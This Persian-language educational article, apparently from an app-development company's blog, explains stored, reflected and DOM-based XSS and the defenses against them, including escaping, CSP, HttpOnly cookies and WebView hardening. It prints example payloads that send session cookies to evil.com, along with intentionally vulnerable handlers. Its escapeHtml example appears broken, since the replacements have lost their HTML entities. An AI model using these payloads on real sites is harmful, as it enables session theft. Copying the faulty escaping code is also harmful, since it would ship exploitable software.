XSS (Cross-Site Scripting) — نوعی آسیبپذیری برنامههای وب است که در آن مهاجم کد جاوااسکریپت مخرب را در محتوای نمایش داده شده به سایر کاربران تزریق میکند. طبق دادههای OWASP Top Ten (2025)، XSS یکی از رایجترین آسیبپذیریها باقی مانده و بیش از 60٪ از برنامههای وب را تحت تأثیر قرار میدهد. اسکریپتنویسی بینسایتی امکان سرقت کوکیهای نشست، هدایت کاربران به سایتهای فیشینگ و تغییر محتوای صفحات در زمان واقعی را فراهم میکند.
نکات اصلی
XSS (Cross-Site Scripting) — آسیبپذیری است که به مهاجم اجازه میدهد کد جاوااسکریپت را در صفحه وب تزریق کند که سپس در مرورگر قربانی اجرا میشود. مرورگر صفحه را از سایت معتبر بارگذاری میکند و اسکریپت تزریق شده را با همان مجوزهای کد قانونی سایت اجرا میکند. این به مهاجم دسترسی به کوکیها، session storage، درخت DOM صفحه و امکان ارسال درخواستها از طرف قربانی را میدهد. آسیبپذیریهای XSS زمانی رخ میدهد که برنامه دادههای کاربر را بدون ایاسکیپ مناسب یا اعتبارسنجی در صفحه HTML وارد میکند.
اصطلاح Cross-Site Scripting اولین بار در سال 2000 در بولتن امنیتی مایکروسافت ظاهر شد. در 25 سال گذشته XSS ارتباط خود را از دست نداده است: طبق دادههای HackerOne (2025)، XSS حدود 22٪ از تمام آسیبپذیریهای ثبت شده در پلتفرم را تشکیل میدهد. دلیل پایداری XSS پیچیدگی کنترل تمام نقاط ورود دادههای کاربر است. هر فیلد ورودی، پارامتر URL، هدر درخواست HTTP یا نام فایل میتواند بردار حمله باشد اگر دادهها بدون پردازش در کد HTML منعکس شوند.
حملات XSS میتوانند منجر به سرقت کوکیهای نشست شوند که به مهاجم اجازه میدهد بدون رمز عبور وارد حساب قربانی شود. سایر پیامدها: هدایت به سایتهای فیشینگ، تغییر محتوای صفحه، سرقت اطلاعات شخصی، نصب نرمافزار مخرب (drive-by download). در سال 2023، حمله XSS به پلتفرم Salesforce Community Cloud بر دادههای هزاران مشتری شرکتی تأثیر گذاشت و نشان داد که حتی پلتفرمهای بزرگ نیز از این آسیبپذیری مصون نیستند.
طبقهبندی XSS حملات را بر اساس روش تحویل کد مخرب به سه نوع اصلی تقسیم میکند. هر نوع نیاز به رویکرد متفاوتی برای محافظت دارد: Stored XSS با ایاسکیپ خروجی از پایگاه داده، Reflected با ایاسکیپ پارامترهای URL و DOM-based با کار ایمن با DOM-API مسدود میشود. درک تفاوت اساس استراتژی امنیتی مؤثر است.
| نوع | ذخیرهسازی اسکریپت | بردار تحویل | سختی تشخیص |
|---|---|---|---|
| Stored XSS | پایگاه داده سرور | نظرات، پروفایلها، پیامها | متوسط |
| Reflected XSS | پارامترهای URL | لینکهای فیشینگ، ایمیل | زیاد |
| DOM-based XSS | جاوااسکریپت کلاینت | بخشهای URL، postMessage | بسیار زیاد |
خطرناکترین نوع XSS. مهاجم اسکریپت را در دادههایی تزریق میکند که سرور در پایگاه داده ذخیره میکند و در هر بار بارگذاری صفحه نمایش میدهد. بردار معمولی — فیلد نظر: مهاجم نظری با <script>document.location='https://evil.com/?c='+document.cookie</script>. هر کاربری که صفحه را با این نظر بارگذاری میکند، کوکیهای خود را به مهاجم میفرستد. Stored XSS هیچ اقدامی از قربانی به جز بازدید از صفحه نمیخواهد — این آن را به ویژه برای شبکههای اجتماعی، انجمنها و وبلاگها خطرناک میکند.
اسکریپت مخرب در درخواست HTTP (معمولاً در پارامتر URL) منتقل میشود و بلافاصله توسط سرور در پاسخ منعکس میشود. مهاجم لینکی به شکل https://example.com/search?q=<script>...</script> ایجاد کرده و آن را از طریق فیشینگ، شبکههای اجتماعی یا ایمیل منتشر میکند. قربانی با کلیک روی لینک، صفحهای دریافت میکند که در آن عبارت جستجوی وارد شده (اسکریپت) بدون ایاسکیپ نمایش داده میشود. Reflected XSS نیاز به مهندسی اجتماعی دارد — قربانی باید روی لینک کلیک کند که ریسک را کاهش میدهد اما از بین نمیبرد.
برخلاف Stored و Reflected، DOM-based XSS نیازی به ارسال داده به سرور ندارد. آسیبپذیری زمانی رخ میدهد که جاوااسکریپت کلاینت دادههای کاربر را از URL، document.referrer، postMessage یا localStorage بدون پردازش ایمن در DOM وارد میکند. به عنوان مثال، کدی مانند document.getElementById('output').innerHTML = location.hash.substring(1) هر HTML و اسکریپتی را از بخش URL اجرا میکند (#<img onerror='...'>). DOM-based XSS سختترین نوع برای تشخیص است زیرا سرور هرگز payload مخرب را دریافت نمیکند — کاملاً در کلاینت پردازش میشود.
// مثال DOM-based XSS (کد آسیبپذیر)
// اگر userInput = "<img src=x onerror='fetch(`https://evil.com/`+document.cookie)'>"
const userInput = new URLSearchParams(
window.location.search
).get('message');
// document.write — خطرناک: HTML خام را وارد میکند
document.write('<div>' + userInput + '</div>');
// جایگزین ایمن — از textContent استفاده کنید
document.getElementById('output').textContent = userInput;
حمله XSS از ویژگی اساسی وب بهرهبرداری میکند: مرورگر جاوااسکریپت دریافت شده از دامنه معتبر را اجرا میکند. اگر مهاجم راهی برای تزریق کد خود در پاسخ HTML سرور پیدا کند، مرورگر آن را با همان مجوزهای کد قانونی اجرا میکند. حمله سه مرحله را طی میکند: تزریق کد مخرب در محتوا، تحویل محتوا به مرورگر قربانی و اجرای کد با دسترسی به DOM، کوکی و storage.
مهاجم نقطه ورود را پیدا میکند — فیلد، پارامتر URL یا هدری که مقدار آن توسط سرور بدون ایاسکیپ در پاسخ HTML قرار میگیرد. نقاط ورود معمولی: رشتههای جستجو، فیلدهای نظر، نام کاربری، URL آواتار، فایلهای کوکی، هدرهای HTTP (User-Agent, Referer). فریمورکهای مدرن (React, Angular, Vue) به طور خودکار خروجی را ایاسکیپ میکنند، اما برنامهنویسان میتوانند ایاسکیپ را از طریق dangerouslySetInnerHTML، bypassSecurityTrustHtml یا v-html غیرفعال کنند.
برای Reflected XSS، مهاجم لینک مخرب را منتشر میکند. برای Stored XSS، کافی است محتوا را منتشر کند در سایت هدف و هر بازدیدکننده صفحه قربانی میشود. DOM-based XSS هنگام بارگذاری صفحه با بخش URL خاص فعال میشود. هر سه مرحله میتوانند به طور خودکار اجرا شوند: اگر XSS در بنر تبلیغاتی (محتوای شخص ثالث) کشف شود، حمله تا زمانی که بنر غیرفعال نشود همه کاربران سایت را تحت تأثیر قرار میدهد.
// مثال Reflected XSS در جستجو (بکاند آسیبپذیر)
// به جای ایاسکیپ پارامتر q، سرور آن را در HTML وارد میکند
// Express.js — هندلر آسیبپذیر:
app.get('/search', (req, res) => {
const query = req.query.q; // ورودی کاربر
res.send(`<h1>Results for: ${query}</h1>`);
});
// نسخه ایمن — ایاسکیپ از طریق encodeURI یا موتور قالب:
app.get('/search', (req, res) => {
const query = escapeHtml(req.query.q);
res.send(`<h1>Results for: ${query}</h1>`);
});
function escapeHtml(text) {
return text
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
برنامههای موبایل نیز در معرض حملات XSS هستند، اگرچه به میزان کمتر از وبسایتها. بردار اصلی WebView و فریمورکهای هیبریدی (Cordova, Capacitor, React Native با WebView) است. اگر برنامه محتوای وب را در WebView بارگذاری میکند — به ویژه محتوای کاربر (ایمیلهای HTML، مقالات، پیامها) — آسیبپذیری XSS میتواند منجر به اجرای جاوااسکریپت در داخل برنامه با دسترسی به توابع بومی از طریق پل جاوااسکریپت شود.
Android WebView به طور پیشفرض جاوااسکریپت را اجرا میکند. اگر برنامه رشته HTML را از طریق loadDataWithBaseURL() بارگذاری میکند یا محتوای کاربر را نمایش میدهد، حمله XSS میتواند به مهاجم دسترسی به رابط جاوااسکریپت (addJavascriptInterface) بدهد. Google استفاده از @JavascriptInterface را برای API < 17 ممنوع کرده است، اما کد قدیمی در برنامههای قدیمی هنوز یافت میشود. محافظت: جاوااسکریپت را در WebView غیرفعال کنید اگر نیازی نیست و از مرور ایمن استفاده کنید.
React Native از WebView برای UI استفاده نمیکند — کامپوننتها در نمایشهای بومی رندر میشوند. اما هنگام نمایش HTML از طریق react-native-webview یا کامپوننتهای rich-text، ریسک XSS بازمیگردد. Flutter از موتور رندرینگ خود (Skia) استفاده میکند و از جاوااسکریپت در ویجتهای HTML پشتیبانی نمیکند (flutter_html تگهای script را اجرا نمیکند)، اما پلاگینهای WebView (webview_flutter) به طور مشابه با WebView بومی آسیبپذیر هستند. بهترین روش — هرگز HTML تأیید نشده را به WebView منتقل نکنید.
// پیکربندی ایمن WebView در اندروید
val webView = findViewById<WebView>(R.id.webview)
// اگر تعامل لازم نیست جاوااسکریپت را غیرفعال میکنیم
webView.settings.javaScriptEnabled = false
// HTML را قبل از بارگذاری پالایش میکنیم
val sanitizedHtml = Jsoup.clean(userHtml,
Whitelist.basic()
.removeProtocols("img", "src", "javascript")
)
webView.loadDataWithBaseURL(null, sanitizedHtml,
"text/html", "UTF-8", null)
محافظت در برابر XSS بر سه اصل استوار است: به ورودی کاربر اعتماد نکن، قبل از خروج ایاسکیپ کن، از Content Security Policy استفاده کن. ایاسکیپ کردن خروجی (output encoding) — مهمترین روش: تمام دادههای دریافت شده از کاربر باید قبل از درج در HTML، JavaScript، CSS یا URL ایاسکیپ شوند. موتورهای قالب مدرن (Twig, Handlebars, JSX, Blade) این کار را به طور خودکار انجام میدهند اگر برنامهنویس ایاسکیپ را با روشهای خاص غیرفعال نکند.
ایاسکیپ به زمینه درج داده بستگی دارد. در زمینه HTML، <، >، &، نقل قولها ایاسکیپ میشوند. در زمینه جاوااسکریپت، بکتیکها، \n، </script> ایاسکیپ میشوند. در زمینه CSS — کاراکترهای کنترلی. در زمینه URL — کدگذاری URL. خطای زمینه — به عنوان مثال، درج رشته ایاسکیپ شده HTML در ویژگی onclick — از XSS محافظت نمیکند زیرا onclick در زمینه جاوااسکریپت اجرا میشود که نیاز به ایاسکیپ متفاوتی دارد.
CSP — هدر HTTP است که منابعی را که مرورگر میتواند از آنها اسکریپت، سبک و سایر منابع را بارگذاری کند محدود میکند. CSP سختگیرانه (بدون unsafe-inline، بدون unsafe-eval) اجرای هرگونه اسکریپت درونخطی از جمله بردارهای XSS را مسدود میکند. طبق دادههای Google Security Blog (2025)، سایتهای دارای CSP 95٪ از حملات XSS را مسدود میکنند. مثال: Content-Security-Policy: default-src 'self'; script-src 'self' هرگونه اسکریپت خارجی و درونخطی را ممنوع میکند. CSP از Stored XSS محافظت نمیکند اگر اسکریپت از همان دامنه بارگذاری شود، اما این نیاز به تلاش اضافی از مهاجم دارد.
تنظیم پرچم HttpOnly برای کوکی از دسترسی به آنها از طریق جاوااسکریپت (document.cookie) جلوگیری میکند که سرقت کوکیهای نشست را از طریق XSS مسدود میکند. پرچم Secure تضمین میکند که کوکی فقط از طریق HTTPS منتقل میشود. ترکیب HttpOnly + Secure + SameSite=Lax سرقت کوکیهای نشست را از طریق XSS عملاً غیرممکن میکند. با این حال، XSS همچنان میتواند اقداماتی را از طرف کاربر انجام دهد (مثلاً ارسال درخواستها)، بنابراین HttpOnly نوشدرمان نیست بلکه بخشی از محافظت جامع است.
| روش محافظت | از کدام انواع XSS محافظت میکند | اثربخشی |
|---|---|---|
| ایاسکیپ خروجی | Stored, Reflected, DOM-based | 99% |
| CSP | Inline XSS, eval-based | 95% |
| کوکی HttpOnly | سرقت نشست از طریق XSS | 100٪ (قابل خواندن نیست) |
| اعتبارسنجی ورودی | Stored, Reflected | 50٪ (بستگی به نوع دارد) |
| TRUSTED TYPES | DOM-based (innerHTML) | 90% |
آزمایش منظم XSS — بخش اجباری pipeline CI/CD توسعه امن است. اسکنرهای خودکار تا 80٪ از آسیبپذیریهای XSS را پیدا میکنند، بقیه نیاز به تست نفوذ دستی دارند. بهترین رویکرد ترکیبی از تحلیل SAST (ایستا)، اسکن DAST (پویا) و بازبینی کد با تمرکز بر نقاط ورود دادههای کاربر است.
برای برنامههای موبایل، آزمایش XSS شامل تحلیل WebView است: بررسی رابطهای جاوااسکریپت، پردازش طرحهای URL و انتقال HTML به loadDataWithBaseURL. همچنین توصیه میشود پردازش postMessage در برنامههای هیبریدی و بررسی اینکه چه دادههایی از طریق پل جاوااسکریپت منتقل میشوند آزمایش شوند. از شبیهساز با پروکسی (Burp Suite) برای رهگیری و تغییر ترافیک برنامه موبایل استفاده کنید.
سوالات متداول
Stored XSS اسکریپت مخرب را روی سرور (در پایگاه داده) ذخیره میکند و در هر بار بارگذاری صفحه فعال میشود. Reflected XSS اسکریپت را از طریق پارامتر URL منتقل میکند و حمله فقط با کلیک روی لینک مخرب فعال میشود. Stored خطرناکتر است زیرا نیاز به اقدام قربانی ندارد — فقط کافی است صفحه آلوده را باز کند.
خیر، HTTPS از XSS محافظت نمیکند. HTTPS ترافیک بین مرورگر و سرور را رمزگذاری میکند اما بر پردازش ورودی کاربر در سمت سرور تأثیر نمیگذارد. آسیبپذیری XSS در سطح برنامه وجود دارد نه در سطح انتقال. HTTPS حداقل الزام امنیتی است اما محافظتی در برابر XSS نیست.
در بیشتر موارد، XSS در سندباکس مرورگر یا WebView اجرا میشود و به سیستم فایل یا سختافزار دستگاه دسترسی ندارد. با این حال، در Android WebView با رابط جاوااسکریپت فعال، اسکریپت XSS میتواند متدهای بومی برنامه را فراخوانی کند. در iOS WKWebView نیز میتواند دادهها را از طریق JavaScriptCore فاش کند اگر پل مربوطه پیکربندی شده باشد.
از Burp Suite یا OWASP ZAP با پروکسی پیکربندی شده روی دستگاه موبایل استفاده کنید. درخواستهای برنامه را رهگیری کنید، پارامترها را تغییر دهید و XSS-payloadها را ارسال کنید. WebView را برای پردازش HTML از طریق loadDataWithBaseURL و وجود پلهای جاوااسکریپت بررسی کنید. برای React Native، کامپوننتهای WebView را جداگانه آزمایش کنید.
DOM-based XSS — حملهای است که در آن جاوااسکریپت موجود در صفحه دادهها را از URL یا منابع دیگر میگیرد و بدون بررسی در HTML وارد میکند. سرور شرکت نمیکند — کد مخرب کاملاً در مرورگر پردازش میشود. مثال معمول: سایت متنی را از location.hash گرفته و از طریق innerHTML وارد میکند که امکان اجرای هر کد HTML را فراهم میکند.
خلاصه
ما یک اپلیکیشن موبایل به صورت کلید در دست توسعه خواهیم داد
IT Sectr از سال 2017 برنامههای iOS و Android را برای استارتاپها و کسبوکارها ایجاد میکند. ما به شما مشاوره میدهیم و بهترین راهحل را پیشنهاد خواهیم کرد.
همچنین بخوانید